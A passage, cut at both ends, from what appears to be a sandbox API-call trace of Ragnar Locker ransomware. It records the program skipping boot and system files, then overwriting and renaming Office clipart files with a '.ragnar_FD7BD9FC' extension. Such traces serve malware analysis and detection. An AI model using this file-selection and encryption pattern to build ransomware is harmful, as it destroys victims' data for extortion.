lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.762] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AG00154_.GIF" | out: lpString1="AG00154_.GIF") returned="AG00154_.GIF" [0079.762] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned=".GIF" [0079.762] lstrcmpiW (lpString1="AG00154_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.762] lstrcmpiW (lpString1="AG00154_.GIF", lpString2="autorun.inf") returned -1 [0079.762] lstrcmpiW (lpString1="AG00154_.GIF", lpString2="boot.ini") returned -1 [0079.762] lstrcmpiW (lpString1="AG00154_.GIF", lpString2="bootfont.bin") returned -1 [0079.762] lstrcmpiW (lpString1="AG00154_.GIF", lpString2="bootsect.bak") returned -1 [0079.762] lstrcmpiW (lpString1="AG00154_.GIF", lpString2="bootmgr") returned -1 [0079.762] lstrcmpiW (lpString1="AG00154_.GIF", lpString2="bootmgr.efi") returned -1 [0079.762] lstrcmpiW (lpString1="AG00154_.GIF", lpString2="bootmgfw.efi") returned -1 [0079.762] lstrcmpiW (lpString1="AG00154_.GIF", lpString2="desktop.ini") returned -1 [0079.762] lstrcmpiW (lpString1="AG00154_.GIF", lpString2="iconcache.db") returned -1 [0079.762] lstrcmpiW (lpString1="AG00154_.GIF", lpString2="ntldr") returned -1 [0079.763] lstrcmpiW (lpString1="AG00154_.GIF", lpString2="ntuser.dat") returned -1 [0079.763] lstrcmpiW (lpString1="AG00154_.GIF", lpString2="ntuser.dat.log") returned -1 [0079.763] lstrcmpiW (lpString1="AG00154_.GIF", lpString2="ntuser.ini") returned -1 [0079.763] lstrcmpiW (lpString1="AG00154_.GIF", lpString2="thumbs.db") returned -1 [0079.763] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0079.763] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0079.763] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0079.763] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0079.763] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0079.763] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0079.763] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0079.763] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif")) returned 0x20 [0079.763] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.763] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5315) returned 1 [0079.763] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x14ba, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.763] GetProcessHeap () returned 0x580000 [0079.763] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.763] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.765] VirtualAlloc (lpAddress=0x0, dwSize=0x14c3, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.765] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.765] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.765] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x14c3, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x14c3, lpOverlapped=0x0) returned 1 [0079.766] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.766] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x14c3, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.766] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x14c3, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x14c3, lpOverlapped=0x0) returned 1 [0079.766] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x14c3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.766] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.767] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x14c3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.767] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.767] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.767] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.767] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.767] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.767] GetProcessHeap () returned 0x580000 [0079.767] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.767] CloseHandle (hObject=0xf4) returned 1 [0079.767] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" [0079.767] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.ragnar_FD7BD9FC" [0079.767] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.768] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2417b00, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2417b00, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00157_.GIF", cAlternateFileName="")) returned 1 [0079.768] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.768] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AG00157_.GIF" | out: lpString1="AG00157_.GIF") returned="AG00157_.GIF" [0079.768] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned=".GIF" [0079.768] lstrcmpiW (lpString1="AG00157_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.768] lstrcmpiW (lpString1="AG00157_.GIF", lpString2="autorun.inf") returned -1 [0079.768] lstrcmpiW (lpString1="AG00157_.GIF", lpString2="boot.ini") returned -1 [0079.768] lstrcmpiW (lpString1="AG00157_.GIF", lpString2="bootfont.bin") returned -1 [0079.768] lstrcmpiW (lpString1="AG00157_.GIF", lpString2="bootsect.bak") returned -1 [0079.768] lstrcmpiW (lpString1="AG00157_.GIF", lpString2="bootmgr") returned -1 [0079.768] lstrcmpiW (lpString1="AG00157_.GIF", lpString2="bootmgr.efi") returned -1 [0079.768] lstrcmpiW (lpString1="AG00157_.GIF", lpString2="bootmgfw.efi") returned -1 [0079.768] lstrcmpiW (lpString1="AG00157_.GIF", lpString2="desktop.ini") returned -1 [0079.768] lstrcmpiW (lpString1="AG00157_.GIF", lpString2="iconcache.db") returned -1 [0079.768] lstrcmpiW (lpString1="AG00157_.GIF", lpString2="ntldr") returned -1 [0079.768] lstrcmpiW (lpString1="AG00157_.GIF", lpString2="ntuser.dat") returned -1 [0079.768] lstrcmpiW (lpString1="AG00157_.GIF", lpString2="ntuser.dat.log") returned -1 [0079.768] lstrcmpiW (lpString1="AG00157_.GIF", lpString2="ntuser.ini") returned -1 [0079.768] lstrcmpiW (lpString1="AG00157_.GIF", lpString2="thumbs.db") returned -1 [0079.768] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0079.768] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0079.768] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0079.768] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0079.768] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0079.768] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0079.769] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0079.769] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif")) returned 0x20 [0079.769] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.769] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4955) returned 1 [0079.769] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1352, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.769] GetProcessHeap () returned 0x580000 [0079.769] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.769] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.771] VirtualAlloc (lpAddress=0x0, dwSize=0x135b, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.771] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.771] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.771] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x135b, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x135b, lpOverlapped=0x0) returned 1 [0079.772] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.772] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x135b, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.772] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x135b, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x135b, lpOverlapped=0x0) returned 1 [0079.772] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x135b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.772] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.772] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x135b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.772] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.772] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.773] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.773] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.773] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.773] GetProcessHeap () returned 0x580000 [0079.773] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.773] CloseHandle (hObject=0xf4) returned 1 [0079.773] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" [0079.773] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.ragnar_FD7BD9FC" [0079.773] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.774] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad7cc700, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad7cc700, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x13a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00158_.GIF", cAlternateFileName="")) returned 1 [0079.774] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.774] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AG00158_.GIF" | out: lpString1="AG00158_.GIF") returned="AG00158_.GIF" [0079.774] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned=".GIF" [0079.774] lstrcmpiW (lpString1="AG00158_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.774] lstrcmpiW (lpString1="AG00158_.GIF", lpString2="autorun.inf") returned -1 [0079.774] lstrcmpiW (lpString1="AG00158_.GIF", lpString2="boot.ini") returned -1 [0079.774] lstrcmpiW (lpString1="AG00158_.GIF", lpString2="bootfont.bin") returned -1 [0079.774] lstrcmpiW (lpString1="AG00158_.GIF", lpString2="bootsect.bak") returned -1 [0079.774] lstrcmpiW (lpString1="AG00158_.GIF", lpString2="bootmgr") returned -1 [0079.774] lstrcmpiW (lpString1="AG00158_.GIF", lpString2="bootmgr.efi") returned -1 [0079.774] lstrcmpiW (lpString1="AG00158_.GIF", lpString2="bootmgfw.efi") returned -1 [0079.774] lstrcmpiW (lpString1="AG00158_.GIF", lpString2="desktop.ini") returned -1 [0079.774] lstrcmpiW (lpString1="AG00158_.GIF", lpString2="iconcache.db") returned -1 [0079.774] lstrcmpiW (lpString1="AG00158_.GIF", lpString2="ntldr") returned -1 [0079.774] lstrcmpiW (lpString1="AG00158_.GIF", lpString2="ntuser.dat") returned -1 [0079.774] lstrcmpiW (lpString1="AG00158_.GIF", lpString2="ntuser.dat.log") returned -1 [0079.774] lstrcmpiW (lpString1="AG00158_.GIF", lpString2="ntuser.ini") returned -1 [0079.774] lstrcmpiW (lpString1="AG00158_.GIF", lpString2="thumbs.db") returned -1 [0079.774] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0079.774] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0079.774] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0079.774] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0079.774] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0079.774] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0079.774] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0079.774] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif")) returned 0x20 [0079.775] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.775] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5030) returned 1 [0079.775] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x139d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.775] GetProcessHeap () returned 0x580000 [0079.775] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.775] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.776] VirtualAlloc (lpAddress=0x0, dwSize=0x13a6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.776] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.776] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.777] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x13a6, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x13a6, lpOverlapped=0x0) returned 1 [0079.777] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.778] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x13a6, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.778] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x13a6, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x13a6, lpOverlapped=0x0) returned 1 [0079.778] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x13a6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.778] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.778] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x13a6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.778] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.778] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.778] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.778] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.778] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.778] GetProcessHeap () returned 0x580000 [0079.778] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.778] CloseHandle (hObject=0xf4) returned 1 [0079.778] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" [0079.779] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.ragnar_FD7BD9FC" [0079.779] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.779] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a69f700, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a69f700, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x47a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00160_.GIF", cAlternateFileName="")) returned 1 [0079.779] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.779] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AG00160_.GIF" | out: lpString1="AG00160_.GIF") returned="AG00160_.GIF" [0079.779] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned=".GIF" [0079.779] lstrcmpiW (lpString1="AG00160_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.779] lstrcmpiW (lpString1="AG00160_.GIF", lpString2="autorun.inf") returned -1 [0079.779] lstrcmpiW (lpString1="AG00160_.GIF", lpString2="boot.ini") returned -1 [0079.779] lstrcmpiW (lpString1="AG00160_.GIF", lpString2="bootfont.bin") returned -1 [0079.779] lstrcmpiW (lpString1="AG00160_.GIF", lpString2="bootsect.bak") returned -1 [0079.779] lstrcmpiW 